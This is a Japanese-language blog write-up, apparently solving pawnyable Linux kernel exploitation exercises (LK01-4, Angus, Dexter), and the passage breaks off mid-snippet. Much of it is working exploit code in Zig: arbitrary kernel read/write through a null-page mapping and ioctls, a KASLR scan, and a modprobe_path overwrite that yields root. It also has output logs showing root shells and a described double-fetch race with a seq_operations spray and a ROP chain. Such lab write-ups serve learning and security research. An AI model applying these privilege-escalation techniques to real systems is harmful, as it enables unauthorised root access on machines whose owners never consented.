    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Won the race
</span></span><span style="display:flex;"><span>[INFO] Heap spray succeeded on core 0
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffff89400000
</span></span><span style="display:flex;"><span>searching... 0xffff89f501f00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502000000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502100000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502200000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502300000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502400000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502500000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502600000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502700000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502800000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502900000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502a00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502b00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502c00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502d00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502e00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f502f00000
</span></span><span style="display:flex;"><span>searching... 0xffff89f503000000
</span></span><span style="display:flex;"><span>searching... 0xffff89f503100000
</span></span><span style="display:flex;"><span>searching... 0xffff89f503200000
</span></span><span style="display:flex;"><span>[INFO] task_struct.creds = 0xffff89f503363a00
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk01-4.zig">完全なexploit</a></p>
<p>ちょっとムラだが、root権限昇格した！</p>
<h2 id="angus">Angus</h2>
<details>
<summary>課題情報</summary>
<div class="details">





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./angus/qemu/rootfs/root/angus.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      No canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep /proc/cpuinfo -q -e <span style="color:#79a8ff">&#39;smep&#39;</span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;SMEP enabled&#39;</span>
</span></span><span style="display:flex;"><span>grep /proc/cpuinfo -q -e <span style="color:#79a8ff">&#39;smap&#39;</span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;SMAP enabled&#39;</span>
</span></span><span style="display:flex;"><span>grep /sys/devices/system/cpu/vulnerabilities/meltdown -q -e <span style="color:#79a8ff">&#39;PTI&#39;</span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;KPTI enabled&#39;</span>
</span></span><span style="display:flex;"><span>grep /proc/cmdline -q -e <span style="color:#79a8ff">&#39;nokaslr&#39;</span> <span style="color:#00d3d0">||</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;KASLR enabled&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SMEP enabled
</span></span><span style="display:flex;"><span>KPTI enabled
</span></span><span style="display:flex;"><span>KASLR enabled</span></span></code></pre></div>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffffb8c00000 T startup_64
</span></span><span style="display:flex;"><span>ffffffffb8c00040 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffffb8c00045 T secondary_startup_64_no_verify
</span></span><span style="display:flex;"><span>ffffffffb8c00240 T __startup_64
</span></span><span style="display:flex;"><span>ffffffffb8c005f0 T startup_64_setup_env
</span></span><span style="display:flex;"><span>ffffffffb8c72810 T commit_creds
</span></span><span style="display:flex;"><span>ffffffffb8c729b0 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffffb9400e10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>

</div>
</details>
<p>ま、この課題は単純明快だね。</p>
<p><a id="code-snippet--lk02-types"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> angus_ioctl <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u32</span>) {
</span></span><span style="display:flex;"><span>    INIT    <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370001</span>,
</span></span><span style="display:flex;"><span>    SETKEY  <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370002</span>,
</span></span><span style="display:flex;"><span>    SETDATA <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370003</span>,
</span></span><span style="display:flex;"><span>    GETDATA <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370004</span>,
</span></span><span style="display:flex;"><span>    ENCRYPT <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370005</span>,
</span></span><span style="display:flex;"><span>    DECRYPT <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x13370006</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> XorCipher <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    key<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    data<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    keylen<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    datalen<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> request_t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    ptr<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> zero_page<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span><span style="color:#b6a0ff">allowzero</span> XorCipher <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">mmap_null</span>() <span style="color:#00d3d0">!*</span><span style="color:#b6a0ff">allowzero</span> XorCipher {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (zero_page) <span style="color:#00d3d0">|</span>ret<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> ret;
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> rc <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">mmap</span>(
</span></span><span style="display:flex;"><span>            <span style="color:#00bcff">null</span>,
</span></span><span style="display:flex;"><span>            std.heap.page_size_min,
</span></span><span style="display:flex;"><span>            linux.PROT.READ <span style="color:#00d3d0">|</span> linux.PROT.WRITE,
</span></span><span style="display:flex;"><span>            posix.MAP{
</span></span><span style="display:flex;"><span>                .TYPE <span style="color:#00d3d0">=</span> .PRIVATE,
</span></span><span style="display:flex;"><span>                .FIXED <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>                .ANONYMOUS <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>                .POPULATE <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(rc)) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> zero_page <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@ptrFromInt</span>(rc),
</span></span><span style="display:flex;"><span>            .TXTBSY <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>            .ACCES <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>            .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.PermissionDenied,
</span></span><span style="display:flex;"><span>            .AGAIN <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.LockedMemoryLimitExceeded,
</span></span><span style="display:flex;"><span>            .BADF <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>            .OVERFLOW <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>            .NODEV <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.MemoryMappingNotSupported,
</span></span><span style="display:flex;"><span>            .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>            .MFILE <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.ProcessFdQuotaExceeded,
</span></span><span style="display:flex;"><span>            .NFILE <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.SystemFdQuotaExceeded,
</span></span><span style="display:flex;"><span>            .NOMEM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.OutOfMemory,
</span></span><span style="display:flex;"><span>            .EXIST <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.MappingAlreadyExists,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> zero_page.<span style="color:#00d3d0">?</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">aaw</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> target_value<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">128</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(buf.len <span style="color:#00d3d0">&lt;=</span> target_value.len);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aar</span>(fd, target_value[<span style="color:#00bcff">0</span>..buf.len], addr);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..buf.len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> target_value[i] <span style="color:#00d3d0">^=</span> buf[i];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ctx <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">mmap_null</span>();
</span></span><span style="display:flex;"><span>    ctx.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>        .key <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#00d3d0">&amp;</span>target_value),
</span></span><span style="display:flex;"><span>        .keylen <span style="color:#00d3d0">=</span> buf.len,
</span></span><span style="display:flex;"><span>        .data <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrFromInt</span>(addr)),
</span></span><span style="display:flex;"><span>        .datalen <span style="color:#00d3d0">=</span> buf.len,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> err <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(angus_ioctl.ENCRYPT), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>request_t{ .ptr <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@ptrFromInt</span>(<span style="color:#00bcff">1</span>), .len <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span> }));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(err)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AAWFail,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">aar</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>, addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ctx <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">mmap_null</span>();
</span></span><span style="display:flex;"><span>    ctx.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>        .key <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@constCast</span>(<span style="color:#f78fe7">@ptrCast</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>})),
</span></span><span style="display:flex;"><span>        .keylen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>        .data <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrFromInt</span>(addr)),
</span></span><span style="display:flex;"><span>        .datalen <span style="color:#00d3d0">=</span> buf.len,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> err <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(angus_ioctl.GETDATA), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>request_t{ .ptr <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrCast</span>(<span style="color:#f78fe7">@constCast</span>(buf))), .len <span style="color:#00d3d0">=</span> buf.len }));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(err)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AARFail,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk02-full"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk02-types">&lt;&lt;lk02-types&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81e37e60</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/angus&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> kaddr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81000000</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (kaddr <span style="color:#00d3d0">&lt;</span> <span style="color:#00bcff">0xffffffff80000000</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x40000000</span>) <span style="color:#00d3d0">:</span> (kaddr <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">0x100000</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">aar</span>(fd, <span style="color:#00d3d0">&amp;</span>buf, kaddr)) {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base address: 0x{x}&#34;</span>, .{kaddr});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {}
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.KBaseAddressScanFailed;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    MODPROBE_PATH <span style="color:#00d3d0">+=</span> kaddr<span style="color:#00d3d0">-</span><span style="color:#00bcff">0xffffffff81000000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aaw</span>(fd, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>, MODPROBE_PATH);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">modprobePath</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit
</span></span><span style="display:flex;"><span>/tmp/unknown &amp;&gt; /tmp/null
</span></span><span style="display:flex;"><span>cat /tmp/whoisit</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1337
</span></span><span style="display:flex;"><span>[INFO] Kernel base address: 0xffffffffb3400000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk02.zig">完全なexploit</a></p>
<h2 id="dexter">Dexter</h2>
<details>
<summary>課題情報</summary>
<div class="details">





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./dexter/qemu/rootfs/root/dexter.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      No canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No</span></span></code></pre></div>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SMEP enabled
</span></span><span style="display:flex;"><span>SMAP enabled
</span></span><span style="display:flex;"><span>KPTI enabled
</span></span><span style="display:flex;"><span>KASLR enabled</span></span></code></pre></div>

</div>
</details>
<p><code>dexter.c</code>​の脆弱性は​<kbd>copy_data_from_user</kbd>​を2回を呼びること。
攻撃者は合法な​<kbd>request_t</kbd>​で​<kbd>ioctl</kbd>​をする。
そして​<kbd>verify_request</kbd>​の実行直後、合法な​<kbd>request_t</kbd>​と悪質な​<kbd>request_t</kbd>​を取り替えると、ヒープOOB読み取り/書き込みはできる。</p>
<p>ならばこうしよう:</p>
<ol>
<li><code>/dev/dexter</code>​を開けると​<kbd>filp-&gt;private_data</kbd>​を確保する</li>
<li><kbd>seq_operations</kbd>​をスプレーする</li>
<li><kbd>filp-&gt;private_data</kbd>​に隣接する​<kbd>seq_operations.start</kbd>​関数ポインターを上書きする</li>
</ol>
<p>SMAPが無効果されているならそれだけでいい。しかし、それじゃつまらないだろう。</p>
<p>まずKASLRを倒す： ​<kbd>shm_file_data</kbd>​（もひとりのkernel-32構造体）の​<kbd>ns</kbd>​フィールドの値はカネールのベスアドレスからの固定オフセットだ。</p>
<p>さて、どこでROPchainを置くてかね。
システムコールを実行する時にユーザ空間のレジスータはカネールのスタックに保存している。
それぞれのガジェットのアドレスをレジスタに格納すれば、カネールが親切にROPchainをスタクに置くてやる。
ギリギリだが​<kbd>modprobe_path</kbd>​を書き換えるROPchainは納めできる。</p>
<p><a id="code-snippet--lk03-types"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> dexter_ioctl <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u32</span>) {
</span></span><span style="display:flex;"><span>    GET <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xdec50001</span>,
</span></span><span style="display:flex;"><span>    SET <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xdec50002</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> request_t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    ptr<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>,
</span></span><span style="display:flex;"><span>    len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> seq_operations <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    start<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    stop<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    next<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>    show<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> shm_file_data <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>	id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span>,
</span></span><span style="display:flex;"><span>	ns<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>	file<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>	vm_ops<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>,
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk03-race"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pin-to-core">&lt;&lt;pin-to-core&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
